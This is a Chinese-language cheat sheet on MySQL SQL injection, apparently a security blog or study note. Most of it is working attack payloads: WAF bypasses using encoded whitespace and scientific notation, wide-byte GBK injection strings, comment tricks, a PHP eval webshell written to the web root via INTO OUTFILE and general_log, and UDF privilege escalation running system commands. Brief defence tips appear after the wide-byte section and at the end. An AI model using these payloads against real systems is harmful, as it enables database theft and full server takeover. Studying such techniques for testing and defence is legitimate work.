空格绕过字符对照表

当 WAF 或过滤器拦截空格时,可使用以下字符替代:

URL编码实际字符说明
%20空格标准空格字符
%09Tab (\t)水平制表符
%0a换行 (\n)换行符
%0b垂直制表符垂直制表
%0c换页符换页符
%0d回车 (\r)回车符
%a0不间断空格NBSP,常见绕过字符
%00空字节截断字符
+空格URL中+解码为空格
/!/内联注释MySQL特有语法

示例:

1
2
3
4
SELECT%0a*%0aFROM%0ausers%0aWHERE%0aid=1
SELECT%09*%09FROM%09users%09WHERE%09id=1
SELECT%a0*%a0FROM%a0users%a0WHERE%a0id=1
SELECT/*!*/user/*!*/FROM/*!*/users

MySQL 支持的编码方式

常用编码:

编码名称说明字节长度
utf8MySQL 的”伪 UTF-8”,最多3字节1-3 字节
utf8mb4真正的 UTF-8,支持 Emoji1-4 字节
gbk简体中文编码1-2 字节
gb2312简体中文编码(GBK子集)1-2 字节
big5繁体中文编码1-2 字节
latin1MySQL 默认编码,单字节1 字节
binary二进制编码1 字节
asciiASCII 编码1 字节

查看与设置编码:

1
2
3
4
5
6
7
8
SHOW VARIABLES LIKE 'character_set%';
SHOW CREATE DATABASE db_name;
SHOW CREATE TABLE table_name;

SET NAMES 'utf8mb4';
SET CHARACTER SET utf8mb4;
ALTER DATABASE db_name CHARACTER SET utf8mb4;
ALTER TABLE table_name CONVERT TO CHARACTER SET utf8mb4;

宽字节编码风险:

编码风险等级说明
GBK双字节编码,常见于中文环境
GB2312GBK 子集,同样存在风险
Big5繁体中文编码
Shift-JIS日文编码

安全建议:生产环境推荐使用 utf8mb4 编码。

宽字节注入

宽字节注入源于 GBK/GB2312 等双字节编码与 PHP 的 addslashes()magic_quotes_gpc 等转义机制的冲突。

PHP 使用 addslashes() 对单引号 ' 转义为 \',即 %5c%27

在 GBK 编码下,两个字节组成一个汉字。若第一个字节高位为 1(即 >= 0x81),则与下一字节组成汉字。

核心原理: 当我们输入 %df' 时:

  1. 被转义为 %df%5c%27
  2. GBK 解码时,%df%5c 组成汉字「運」
  3. 单引号 %27 被释放,成功闭合

利用条件:

  • 数据库使用 GBK/GB2312/Big5 等宽字节编码
  • 使用了 addslashes() 或类似转义函数

示例:

1
2
id=1%df' and 1=1--+
id=1%bf' union select 1,2,3--+

防御措施:

  • 使用 UTF-8 编码
  • 使用 mysql_real_escape_string() 而非 addslashes()
  • 设置 mysql_set_charset('utf8')

注释符详解

– 注释符

-- 是 SQL 标准注释符,注释从 -- 到行末的内容。

注意:-- 后必须跟一个空格才能生效,否则可能被解析为减法运算。

1
2
SELECT * FROM users WHERE id=1 -- AND name='test'
SELECT * FROM users WHERE id=1-- AND name='test' -- 可能失效

–+ 注释符

--+-- 加上 URL 编码的空格 +。在 URL 注入中,-- 后的空格容易被省略,使用 --+ 确保注释生效:

1
id=1' union select 1,2,3--+

解码后:--(两个横杠加空格)

%23 注释符

%23# 的 URL 编码。# 是 MySQL 特有的单行注释符。

1
2
SELECT * FROM users WHERE id=1# AND name='test'
id=1' union select 1,2,3%23

注释符对比:

注释符范围数据库支持
到行末标准 SQL
#到行末MySQL
/* */多行标准 SQL

%00 空字节注释

%00 是空字节(NULL 字节),在 C 语言中标记字符串结束。

原理:PHP 底层使用 C 语言,遇到 %00 会截断字符串。

限制条件:

  • PHP < 5.3.4 版本中有效
  • magic_quotes_gpc 影响
  • 主要在 Windows 环境下有效(文件路径截断)
1
id=1' and 1=1%00

注意:现代 PHP 版本已修复此问题,%00 注释在 SQL 注入中较少使用,更多用于文件包含漏洞。

科学计数法利用

边界匹配绕过

当 WAF 使用正则匹配数值边界时,科学计数法可绕过检测。

示例场景:WAF 规则 \b\d+\b 匹配整数

1
2
id=1e0 union select 1,2,3
id=1.0e0 union select 1,2,3

1e0 不被 \b\d+\b 匹配,但 MySQL 会将其解析为数值 1。

其他利用:

比较运算:

1
2
SELECT * FROM users WHERE id=1e0
SELECT * FROM users WHERE id=0.1e1

注入点:

1
2
id=1e0' union select 1,2,3--+
id=1.5e0' union select 1,2,3--+

MySQL Getshell

into outfile 写入

条件:

  • 拥有 FILE 权限(secure_file_priv 不为 NULL)
  • 知道网站绝对路径
  • MySQL 用户有写入权限

查看权限:

1
SHOW VARIABLES LIKE 'secure_file_priv';
含义
NULL禁止导入导出
无限制
路径仅允许该路径

写入 WebShell:

1
2
SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'
SELECT '<?php @eval($_POST[cmd]);?>' INTO DUMPFILE '/var/www/html/shell.php'

区别:INTO OUTFILE 会转义换行符;INTO DUMPFILE 原样写入,适合写入二进制文件

日志写入

secure_file_priv 限制时,可通过 MySQL 日志写入。

条件:

  • 需要写入权限
  • 知道网站路径
  • general_log 可开启

步骤:

1
2
3
4
5
SHOW VARIABLES LIKE 'general_log';
SET GLOBAL general_log = ON;
SET GLOBAL general_log_file = '/var/www/html/shell.php';
SELECT '<?php @eval($_POST[cmd]);?>';
SET GLOBAL general_log = OFF;

UDF 提权

通过上传自定义动态链接库执行系统命令。

条件:

  • MySQL 有写入权限
  • 知道 plugin 目录路径

步骤:

1
2
3
4
SELECT @@plugin_dir;
SELECT hex(UDF_DLL内容) INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
SELECT sys_eval('whoami');

防御建议:

  1. 设置 secure_file_priv = NULL
  2. 限制 MySQL 用户权限
  3. 禁止 Web 目录写入权限
  4. 关闭 general_log 或限制日志路径